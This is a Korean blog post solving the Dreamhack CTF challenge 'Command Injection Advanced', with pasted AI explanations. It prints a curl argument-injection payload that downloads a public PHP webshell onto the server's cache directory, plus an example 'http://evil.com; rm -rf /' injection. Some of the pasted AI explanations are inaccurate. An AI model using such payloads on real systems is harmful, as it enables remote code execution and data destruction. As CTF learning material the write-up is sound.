Dreamhack/Dreamhack Wargame (Challenge)

[69] IT 비전공자 [dreamhack] Command Injection Advanced문제 풀기

imaginefuture-1 2024. 11. 17. 07:39

 

 

웹!
curl request!

 

 

 

 소스코드 보러가자

 

 

 

index.php 파일이다

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>

 

이 PHP 코드가 실행되는 웹 페이지는 사용자가 URL을 입력하여 해당 URL에 `curl` 요청을 보내고, 그 결과를 보여주는 웹 애플리케이션입니다. 주요 동작과 관련된 분석은 다음과 같습니다:

### 1. **URL 입력 받기:**
   - 사용자가 폼에서 URL을 입력하면 `GET` 방식으로 해당 URL을 받아옵니다.
   - URL을 받은 후, 해당 URL이 `http`로 시작하지 않으면 `'http only !'`를 출력하고 실행을 종료합니다.
   
### 2. **curl 요청:**
   - URL이 `http`로 시작하면, `shell_exec()` 함수를 사용하여 `curl` 명령어를 실행합니다.
   - `curl` 명령어는 사용자가 입력한 URL로 요청을 보내고 그 결과를 받아옵니다.
   
### 3. **결과 캐시:**
   - `curl` 요청 결과는 `cache/` 디렉토리에 캐시로 저장됩니다. 캐시 파일의 이름은 URL의 MD5 해시값입니다.
   - 캐시된 파일은 이후 사용자가 결과를 빠르게 볼 수 있도록 제공합니다.
   
### 4. **결과 출력:**
   - `curl` 요청의 결과는 웹 페이지에 HTML로 출력됩니다. 이때 HTML 태그가 있는 경우 이를 안전하게 보여주기 위해 `htmlentities()`로 변환한 후 출력합니다.
   - 캐시 파일의 경로도 출력됩니다.

---

### **보안 취약점:**
이 코드에는 여러 보안 취약점이 존재할 수 있습니다:

1. **Shell Command Injection:**
   - 사용자가 입력한 URL을 `curl` 명령어에 직접 사용하고 있기 때문에, 공격자가 URL에 악의적인 쉘 명령어를 삽입할 수 있습니다.
   - 예를 들어, `http://evil.com; rm -rf /`와 같은 URL을 입력하면 `curl` 명령이 실행되는 것 외에도 `rm -rf /` 명령이 실행되어 서버의 파일 시스템을 삭제할 수 있습니다.
   
2. **Cache Directory:**
   - URL에 대한 캐시 파일이 서버의 `cache/` 디렉토리에 저장됩니다. 공격자가 파일을 조작할 수 있다면, 서버의 중요한 정보를 덮어쓰거나 악성 스크립트를 삽입할 수 있습니다.
   
---

### **Flag 보는 방법:**

1. **URL 입력:**
   - URL 입력을 요구하는 폼에서 실제 URL을 입력합니다.
   - 만약 이 웹 애플리케이션이 특정 URL을 제공하는 웹사이트에 대한 요청을 처리하는 것이라면, `curl` 요청 결과에서 `flag` 또는 중요한 정보가 출력될 수 있습니다.

2. **캐시 파일:**
   - 결과를 캐시 디렉토리에 저장하며, 그 경로를 출력합니다. 캐시 파일 경로를 클릭하여 저장된 결과를 확인할 수 있습니다.
   
3. **안전성:**
   - 위 코드에는 보안 문제가 많습니다. URL을 신뢰할 수 있는지, 서버가 안전하게 구성되었는지 확인하는 것이 중요합니다.
   
---

### **취약점 해결 방법:**
1. **쉘 명령어 인젝션 방지:**
   - 사용자의 URL 입력값을 충분히 검증하고, `escapeshellcmd()` 외에도 추가적인 안전한 방법을 사용해야 합니다.
   - 예를 들어, `curl`을 직접 호출하는 대신 PHP의 `file_get_contents()` 함수나 `cURL` 라이브러리를 사용하는 방법이 더 안전합니다.

2. **캐시 파일에 대한 안전성 강화:**
   - 캐시 파일이 공개되거나 수정되지 않도록 안전한 권한 설정을 해야 합니다. 캐시 파일의 접근을 제한하거나, 파일 내용을 검증하는 방법을 사용해야 합니다.

 


 

 

flag.c파일이다

#include <stdio.h>

void main(){
	puts("DH{**flag**}\n");
}

 

 

run-lamp.sh파일이다

 

#!/bin/bash

&>/dev/null /usr/sbin/apachectl -DFOREGROUND -k start

 

 

 

주어진 `bash` 스크립트는 `apachectl`을 사용하여 Apache HTTP 서버를 시작하는 내용입니다. 이 스크립트에서 중요한 부분을 하나씩 분석해 보겠습니다:

```bash
#!/bin/bash

&>/dev/null /usr/sbin/apachectl -DFOREGROUND -k start run-lamp.sh
```

### 1. **Shebang (#!/bin/bash)**:
   - 이 줄은 스크립트가 `/bin/bash` 셸을 사용하여 실행된다는 것을 지정합니다. 이를 통해 이 스크립트가 Bash 셸 환경에서 실행될 것임을 나타냅니다.

### 2. **출력 리디렉션 (`&>/dev/null`)**:
   - `&>/dev/null`은 모든 표준 출력(표준 출력과 표준 오류 모두)을 `/dev/null`로 리디렉션합니다. 즉, `apachectl` 명령어의 출력을 화면에 표시하지 않고 무시하도록 설정된 것입니다.
   - `/dev/null`은 일종의 "블랙홀"로, 데이터를 버리는 장치입니다. 이를 사용하면 명령어가 출력하는 정보가 터미널에 표시되지 않습니다.

### 3. **Apache 서버 시작 (`/usr/sbin/apachectl -DFOREGROUND -k start`)**:
   - `/usr/sbin/apachectl`은 Apache HTTP 서버를 제어하는 명령어입니다.
   - `-DFOREGROUND`: 이 옵션은 Apache 서버를 "포그라운드 모드"로 실행하도록 설정합니다. 기본적으로 Apache는 백그라운드에서 실행되지만, 이 옵션을 사용하면 서버가 백그라운드에서 실행되는 대신 포그라운드에서 실행되어 터미널에 출력을 보냅니다. 보통 디버깅 용도나 특정 환경에서 필요할 수 있습니다.
   - `-k start`: 이 옵션은 Apache 서버를 시작하도록 지정합니다.

### 4. **`run-lamp.sh`**:
   - 이 부분은 명령어 끝에 추가된 `run-lamp.sh`라는 파일을 의미합니다. 이 파일은 스크립트 실행 시 Apache 서버와 함께 실행되도록 설정된 것으로 보입니다.
   - `run-lamp.sh`는 일반적으로 LAMP(Linux, Apache, MySQL, PHP) 스택을 설정하는 스크립트일 수 있습니다. 해당 스크립트가 Apache를 시작하면서 MySQL이나 PHP도 설정하고 시작할 수 있습니다.

### **종합적인 설명**:
이 스크립트는 Apache HTTP 서버를 포그라운드 모드에서 실행시키면서, 서버 실행에 대한 출력은 화면에 표시하지 않도록 설정된 것입니다. 또한, `run-lamp.sh`라는 파일을 실행하는 것 같은데, 이 파일은 Apache와 함께 LAMP 스택을 설정하는 작업을 할 것으로 추정됩니다.

이 스크립트의 주요 목적은 Apache 서버를 시작하고, 아마도 LAMP 스택을 설정하거나 구성하는 데 사용될 것입니다.

### **보안상 고려할 점**:
- 만약 이 스크립트가 외부 사용자나 비공식 환경에서 실행되는 경우, 스크립트가 실행하는 작업(예: `run-lamp.sh`의 내용)을 잘 살펴보는 것이 중요합니다. 해당 스크립트가 시스템에 영향을 미칠 수 있는 명령어나 설정을 변경하는지 확인해야 합니다.

 


 

bulma.min.css 파일이 있는데..겁나 빽빽하다 ㅋㅋ

지피티한테 물어보니 압축된파일이라한다

 

 

 

 

`bulma.min.css` 파일은 Bulma라는 CSS 프레임워크의 압축된(minified) 스타일 시트 파일입니다. 이 파일을 열어서 내용을 확인하려면 몇 가지 방법을 사용할 수 있습니다.

### 1. **브라우저에서 열기**
   - `bulma.min.css` 파일을 웹 브라우저에서 열어 내용을 볼 수 있습니다. 파일을 드래그하여 브라우저에 놓거나, `file://` URL을 사용하여 직접 파일을 열 수 있습니다.
   
   예를 들어, 파일이 `C:\path\to\bulma.min.css`에 있다면, 브라우저의 주소창에 `file:///C:/path/to/bulma.min.css`를 입력하여 열 수 있습니다.

### 2. **텍스트 편집기로 열기**
   - `.css` 파일은 일반 텍스트 파일이므로, 다양한 텍스트 편집기로 열 수 있습니다. 예를 들어:
     - **Windows**: `메모장`, `Notepad++`, `VS Code`, `Sublime Text` 등.
     - **Mac/Linux**: `TextEdit`, `Sublime Text`, `Atom`, `VS Code`, `Nano` 등.
   
   파일을 열 때, 텍스트 편집기를 실행한 후 `bulma.min.css` 파일을 열면 됩니다.

### 3. **VS Code에서 열기**
   - **VS Code**는 CSS 파일을 보기 좋게 형식화하여 보여주는 기능도 있습니다. 만약 `bulma.min.css` 파일을 압축된 형태로 열면, 읽기 어려울 수 있습니다. 하지만 VS Code에서 열면, 자동으로 코드 스타일을 하이라이트하고 더 나은 가독성을 제공합니다.
   
   VS Code에서 열려면:
   1. VS Code를 열고, `파일` → `파일 열기`를 클릭합니다.
   2. `bulma.min.css` 파일을 찾아서 선택합니다.
   
### 4. **코드 포매터 사용**
   - `bulma.min.css`는 **압축된** 형태로 되어 있기 때문에, 사람이 읽기에 어려운 형태입니다. 읽기 쉽게 하려면 **코드 포매터**나 **CSS 포매터**를 사용하여 들여쓰기를 하고, 코드의 가독성을 높일 수 있습니다.

   온라인에서 코드 포매터를 사용할 수 있습니다:
   - [https://beautifier.io/](https://beautifier.io/) (웹에서 직접 사용 가능)
   - [https://prettier.io/](https://prettier.io/) (VS Code와 같은 편집기에서 사용 가능)

### 5. **압축 해제(확장)**
   - `bulma.min.css` 파일을 열면 한 줄로 압축된 코드가 보입니다. 이 경우, 압축된 코드를 사람이 읽을 수 있도록 풀어주는 방법이 필요합니다. CSS 파일을 **압축 해제**하려면:
     1. **Prettier** 또는 **Beautifier**와 같은 도구를 사용하여 코드의 구조를 풀 수 있습니다.
     2. CSS 파일을 여는 텍스트 편집기에서 **자동 정리 기능**을 사용하여 파일을 보기 좋게 만들 수 있습니다.

### 6. **파일을 웹 페이지에 적용하여 확인하기**
   - `bulma.min.css`를 웹 페이지에 적용하여 스타일이 어떻게 적용되는지 확인하려면 HTML 문서에 연결해야 합니다. 예를 들어:
     ```html
     <link rel="stylesheet" href="path/to/bulma.min.css">
     ```
     이렇게 HTML 파일의 `<head>` 부분에 Bulma 스타일시트를 추가한 후, HTML 페이지를 브라우저에서 열면, Bulma 스타일이 어떻게 적용되는지 확인할 수 있습니다.

### 결론:
- `bulma.min.css` 파일은 텍스트 편집기에서 열 수 있고, 코드 포매터를 사용하여 읽기 쉽게 변환할 수 있습니다.
- 웹 브라우저에서 확인하거나, 실제 HTML 파일에 적용하여 Bulma의 스타일이 어떻게 보이는지 실시간으로 확인할 수 있습니다.

 

 

 


https://keyme2003.tistory.com/entry/dreamhack-Command-Injection-Advanced

 

[dreamhack] Command Injection Advanced

문제분석 & 풀이url을 입력하고 curl 요청하는 페이지다. 코드를 확인해보자. cache file: {$cache_file}"; echo ''. htmlentities($result) .''; return; }}else{?>코드 분석url은 http로 시작해야한다.curl $url 로 curl 명령

keyme2003.tistory.com

아름다운..아름다운 풀이다..팬입니다keyme님

 

 

 

 


url을 이용해서 curl 명령을 실행한다. 따라서 ;와 같은 문자를 추가하면 curl 명령 외에도 임의의 명령을 실행시켜서 command injection을 수행하는 방식을 생각했다.
 
하지만 escapeshellcmd($_GET['url'])로 ;, | 등의 문자열을 사용해도 이스케이프 처리되고 메타문자가 아닌 일반 문자열로 처리되므로 command injection을 수행 할 수 없다.
 
따라서 command injection은 포기하고 RCE로 접근하려고한다.
 
command injection을 수행할 수 없다고 하더라도 curl 명령은 실행 가능하다.
 
그렇다면 웹쉘이 업로드 된 공격자의 웹서버로 요청을 보내서 /cache 경로에 웹쉘을 업로드하면?
 
/cache 경로에 웹쉘이 업로드 된다.
 
이런 작업은 curl 명령어 옵션을 이용해서 수행할 수 있다.
 
curl은 -o라는 옵션이 있다. 해당 옵션은 지정한 디렉토리에 요청 결과를 생성한다는 의미다.
 
즉, 해당 옵션으로 공격자의 웹쉘을 다운로드 받도록 해서 웹쉘을 업로드할 수 있다.

 

escapeshellcmd 

                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));

 

- 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 php에서 사용하는 함수

- 쉘 명령을 속이는 데 사용될 수 있는 문자열의 모든 문자를 이스케이프한다

- 다음 문자 앞에 백슬래시를 붙인다  & # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ , \x0A \xFF ' "  (따옴표는 쌍이 아닌 경우만)

cf) escapeshellarg()는 전달한 입력값을 하나의 문자열로 만들어버림

 

출처ㅣ https://minseosavestheworld.tistory.com/156

 

[Dreamhack Wargame] Command Injection Advanced

PHP escapeshellcmd() 함수 우회 1. escapeshellcmd() 함수에 대해 - 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 php에서 사용하는 함수 - 쉘 명령을 속이는 데 사용될 수 있는 문자열의 모든 문자를 이

minseosavestheworld.tistory.com

 

RCE

 

 

**RCE**는 **Remote Code Execution**의 약자입니다. 이는 공격자가 원격 시스템에서 악성 코드를 실행할 수 있는 보안 취약점을 의미합니다. RCE는 매우 심각한 보안 문제로, 공격자가 취약한 서버나 시스템을 원격에서 제어할 수 있게 되며, 이를 통해 서버에서 악성 명령을 실행하거나 데이터를 훔치거나 시스템을 완전히 장악할 수 있습니다.

### RCE의 주요 특징
1. **원격 실행**:
   - 공격자는 네트워크를 통해 원격 시스템에 악성 코드를 실행시킬 수 있습니다. 즉, 공격자는 물리적으로 해당 시스템에 접근할 필요 없이 인터넷이나 로컬 네트워크를 통해 원격에서 코드 실행을 유발할 수 있습니다.

2. **악성 코드 실행**:
   - 공격자가 RCE 취약점을 이용해 시스템에서 악성 코드를 실행하면, 시스템의 기능을 조작하거나 시스템에 대한 완전한 제어를 얻을 수 있습니다. 예를 들어, 공격자는 명령어를 실행하여 데이터를 유출하거나, 원격에서 다른 시스템에 접근하는 등의 행동을 할 수 있습니다.

3. **시스템 침해**:
   - RCE 취약점이 악용되면, 공격자는 일반적으로 해당 시스템에 대한 완전한 권한을 얻을 수 있습니다. 이는 파일 시스템을 탐색하거나, 관리자 권한을 획득하고, 심지어는 시스템의 모든 데이터를 탈취하거나 시스템을 파괴하는 등의 행위를 할 수 있게 만듭니다.

### RCE 공격 방법 예시:
1. **웹 애플리케이션 취약점**:
   - PHP, Python, Ruby와 같은 서버 측 스크립팅 언어에서 발생할 수 있습니다. 예를 들어, 사용자가 입력한 값을 검증 없이 시스템 명령어에 넘기는 경우, 공격자는 악의적인 명령어를 실행할 수 있습니다.
   - 예시: PHP의 `shell_exec()` 함수나 `exec()` 함수를 사용할 때 사용자 입력을 제대로 검증하지 않으면, 공격자가 이를 악용하여 원격으로 명령을 실행할 수 있습니다.

2. **소프트웨어 취약점**:
   - 소프트웨어의 버그나 보안 허점을 이용하여 원격으로 코드를 실행하는 방법입니다. 예를 들어, 취약한 소프트웨어 버전을 사용하고 있을 때, 공격자는 버퍼 오버플로우, 포맷 스트링 공격 등을 통해 원격 코드를 실행할 수 있습니다.

3. **서버 취약점**:
   - 서버 설정이 잘못되었거나, 오래된 소프트웨어가 있을 경우 공격자는 취약한 서버를 목표로 RCE를 시도할 수 있습니다. 예를 들어, 서버에서 파일 업로드 기능을 잘못 처리하면 악성 스크립트를 업로드하여 실행할 수 있습니다.

### RCE 예방 방법:
1. **입력값 검증**:
   - 외부 입력값을 철저히 검증하고, 허용된 형식만 처리하여 악성 코드가 실행되지 않도록 합니다.

2. **최신 보안 패치 적용**:
   - 사용하는 서버, 소프트웨어 및 애플리케이션에 대해 최신 보안 패치를 항상 적용하여 알려진 취약점이 악용되지 않도록 합니다.

3. **권한 관리**:
   - 서버에서 실행되는 코드에 대해 최소 권한 원칙을 적용하고, 중요한 시스템 자원에 대한 접근을 제한해야 합니다.

4. **보안 모니터링**:
   - 시스템에서 비정상적인 동작이나 의심스러운 요청을 탐지하고, 이를 신속히 대응할 수 있도록 보안 모니터링 시스템을 구축합니다.

5. **방화벽 및 IDS/IPS**:
   - 네트워크 방화벽과 침입 탐지 시스템(IDS), 침입 방지 시스템(IPS)을 통해 공격을 차단할 수 있습니다.

RCE는 매우 위험한 취약점이며, 이를 방지하기 위한 적극적인 보안 대책이 필요합니다.

 


 

 

 

풀어보자

참고로 풀이는 keyme님 글을 보고 했다

github에 공개된 PHP 웹쉘을 이용할거다

 

https://github.com/WhiteWinterWolf/wwwolf-php-webshell

 

GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell

WhiteWinterWolf's PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.

github.com

 

https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/exploit.php

 

웹셀을 ./cache에 업로드하는 payload다 

 

 

 

master가 뭐야 왜 들어가있어 중간에

 

 

 

`master`는 GitHub에서 사용되는 기본 브랜치의 이름입니다. GitHub에서 브랜치는 소스 코드의 버전 관리 및 개발을 위한 분기를 의미하며, `master`는 일반적으로 프로젝트의 **기본 브랜치**로 사용됩니다. 최근 GitHub에서는 `master` 대신 `main`을 기본 브랜치로 사용하는 경우가 많지만, 여전히 `master`라는 브랜치가 존재하는 경우도 많습니다.

### URL 분석:

```bash
https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php
```

1. **`https://raw.githubusercontent.com/`**:
   - GitHub에서 파일을 직접 읽을 수 있는 URL입니다. `raw.githubusercontent.com`은 GitHub에서 호스팅되는 파일을 "원본 그대로" (즉, GitHub 웹 인터페이스에서 렌더링된 형태가 아니라 텍스트 그대로) 제공하는 URL입니다.

2. **`WhiteWinterWolf/wwwolf-php-webshell`**:
   - `WhiteWinterWolf`는 GitHub 사용자나 조직의 이름이고, `wwwolf-php-webshell`은 그 사용자/조직의 저장소(repository) 이름입니다.

3. **`master`**:
   - `master`는 해당 GitHub 저장소에서 **기본 브랜치**를 의미합니다. 이 브랜치는 일반적으로 안정적인 상태의 코드가 포함되며, 주로 배포되는 버전이 담깁니다.
   - 예를 들어, 이 저장소에 여러 브랜치가 있을 수 있는데, `master`는 그 중에서도 기본으로 선택되는 브랜치입니다. 즉, 기본적으로 `master` 브랜치에 있는 파일을 요청하는 것입니다.

4. **`webshell.php`**:
   - 이는 `master` 브랜치에서 `webshell.php`라는 파일을 요청하는 부분입니다. 이 파일이 실제로 존재하는 경로이므로, 해당 경로에서 파일을 다운로드하거나 이용할 수 있습니다.

### 요약:
- `master`는 GitHub 저장소에서 **기본 브랜치**를 가리키는 이름입니다. 즉, URL에서 `master`는 해당 저장소의 기본 브랜치에서 `webshell.php` 파일을 가져오겠다는 뜻입니다. 만약 다른 브랜치를 사용하려면 그 브랜치 이름을 `master` 대신 사용할 수 있습니다. 예를 들어 `develop` 브랜치를 사용하려면 URL을 다음과 같이 바꿀 수 있습니다:

```bash
https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/develop/webshell.php
```

 

 

 

브랜치가 뭐야?

 

 

 

 

 

**브랜치(Branch)**는 **버전 관리 시스템**에서 사용되는 개념으로, 프로젝트의 독립적인 작업 흐름을 만드는 방법입니다. 주로 여러 사람이 동시에 다른 기능을 개발하거나 수정할 때 사용됩니다. Git과 같은 분산 버전 관리 시스템에서 중요한 역할을 합니다.

### 브랜치의 주요 개념:
1. **기본적인 설명**:
   - 브랜치는 **프로젝트의 독립적인 작업 공간**을 제공합니다. 새로운 기능을 개발하거나 버그를 수정할 때, 다른 사람의 작업과 독립적으로 작업할 수 있습니다. 브랜치 안에서는 자유롭게 파일을 수정하고, 수정이 완료되면 그 결과물을 원래의 주 코드(보통 **master** 또는 **main** 브랜치)에 합칠 수 있습니다.

2. **작업 흐름**:
   - 브랜치는 주로 **기본 브랜치**에서 분기하여 시작됩니다. 예를 들어, `master` 또는 `main` 브랜치에서 새로운 브랜치를 생성하여, 해당 브랜치에서만 작업을 진행하고, 작업이 완료되면 다시 기본 브랜치에 합치는 방식입니다.
   - 이 방식으로 각 개발자는 다른 기능을 개발하는 동안 서로의 작업에 영향을 주지 않습니다.

### 브랜치 사용 예시:
- **기본 브랜치**: 프로젝트를 시작할 때 생성되는 `master` 또는 `main` 브랜치입니다. 이 브랜치는 보통 최종 제품이나, 배포 가능한 상태의 코드를 유지합니다.
- **기능 브랜치 (Feature Branch)**: 특정 기능을 개발하는 브랜치입니다. 예를 들어, 로그인 기능을 구현하려면 `feature/login`이라는 브랜치를 생성하고 그 안에서 작업을 진행할 수 있습니다.
- **버그 수정 브랜치 (Bugfix Branch)**: 버그를 수정하는 브랜치로, 문제가 발생한 부분만을 수정하고 그 결과를 메인 브랜치에 반영합니다.
- **개발 브랜치 (Development Branch)**: 여러 기능이나 버그 수정을 통합하여, 전체적인 개발 작업을 진행하는 브랜치입니다. 이 브랜치에서 여러 기능 브랜치를 합친 후, 안정화된 상태를 `master`나 `main` 브랜치로 병합합니다.

### 브랜치의 주요 이점:
1. **독립적인 작업**: 각 개발자는 자신만의 브랜치에서 작업할 수 있으므로, 다른 개발자의 작업에 영향을 주지 않고 개발할 수 있습니다.
2. **협업**: 여러 사람이 동시에 작업할 수 있으며, 나중에 각자의 작업을 쉽게 합칠 수 있습니다.
3. **안정성**: `master`나 `main` 브랜치는 안정적인 버전의 코드만 포함하므로, 항상 배포 가능한 상태를 유지할 수 있습니다.
4. **효율성**: 각 기능을 독립적으로 개발하고 나서 한 번에 통합할 수 있어 효율적으로 작업을 진행할 수 있습니다.

### 예시:

1. **기본 브랜치**:
   ```bash
   git checkout main  # 또는 git checkout master
   ```

2. **새로운 브랜치 생성**:
   ```bash
   git checkout -b feature/new-feature  # 새로운 브랜치 생성 후 이동
   ```

3. **브랜치에서 작업 후 기본 브랜치로 병합**:
   ```bash
   git checkout main  # 기본 브랜치로 돌아가기
   git merge feature/new-feature  # 작업한 브랜치를 병합
   ```

### 결론:
브랜치는 **버전 관리 시스템**에서 프로젝트의 여러 개발 작업을 독립적으로 처리할 수 있도록 도와주는 중요한 기능입니다. 이를 통해 여러 개발자가 동시에 작업할 수 있으며, 각자의 작업을 나중에 병합하여 최종 결과물을 만들어내는 방식으로 효율적인 협업을 가능하게 합니다.

 

 

 

저 컬에서 master를 빼도 작동하나?
 

 

 

 

`master` 브랜치를 URL에서 빼면 해당 GitHub 저장소에서 **기본 브랜치**를 찾을 수 없습니다. `master`는 GitHub에서 대부분의 프로젝트의 **기본 브랜치**로 사용되는 이름입니다. 하지만 **GitHub에서는 `main`**을 기본 브랜치로 사용하는 경우가 많고, 일부 프로젝트는 다른 이름을 사용할 수도 있습니다. 

URL에서 `master`를 빼고 사용하면, Git은 기본적으로 해당 저장소의 기본 브랜치 (`main`, `master`, 또는 다른 이름의 브랜치)를 찾으려 할 것입니다. 만약 기본 브랜치가 `master` 외의 다른 이름으로 설정되어 있다면, URL에서 `master` 대신 다른 브랜치 이름을 명시해야 할 수도 있습니다.

### 예시:
#### 1. **`master`를 빼면 기본 브랜치로 자동 설정**
   GitHub의 `raw.githubusercontent.com` URL에서 `master`를 빼면, GitHub는 해당 저장소의 **기본 브랜치**를 사용하여 파일을 로드하려고 시도합니다. 예를 들어, `main` 브랜치가 기본 브랜치라면, `master`를 빼고 아래와 같이 사용 가능합니다:
   
   ```bash
   https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/main/webshell.php
   ```
   
   위 URL은 `master` 대신 `main` 브랜치를 사용하여 해당 파일을 가져옵니다.

#### 2. **브랜치가 없을 경우 에러**
   만약 해당 저장소에서 `main` 또는 다른 이름의 브랜치가 없다면, GitHub은 에러를 반환할 것입니다. 그러므로 `master` 브랜치가 존재하는지, 아니면 다른 이름의 기본 브랜치가 있는지 확인해야 합니다.

### 결론:
`master`를 빼면, 기본 브랜치 이름이 무엇인지에 따라 정상 작동할 수도 있고, 에러가 발생할 수도 있습니다. 일반적으로 GitHub에서는 `master` 대신 `main`을 사용하는 경우가 많으므로, 해당 저장소의 기본 브랜치 이름이 무엇인지 확인하고 그에 맞는 URL을 사용해야 합니다.

 

 

 

참고로 payload에서 master를 빼면 오류가 난다, 

 

후엥

 

master를 빼고 요청했을 때 400 Invalid error가 발생한 이유는, URL에서 master가 명시되어야만 특정 브랜치에 접근할 수 있기 때문입니다. GitHub의 raw.githubusercontent.com URL에서 브랜치 이름은 중요한 요소이며, 만약 master를 생략하고 브랜치 이름을 지정하지 않으면, GitHub은 기본적으로 브랜치 이름을 알 수 없기 때문에 에러가 발생합니다.

 

 

 

다시 curl에 마스터를 넣은 payload 

캐시파일 생성
/cache/exploit.php에 들어갔더니 잘 작동한다
flag가 보인다
반갑다 플래그~~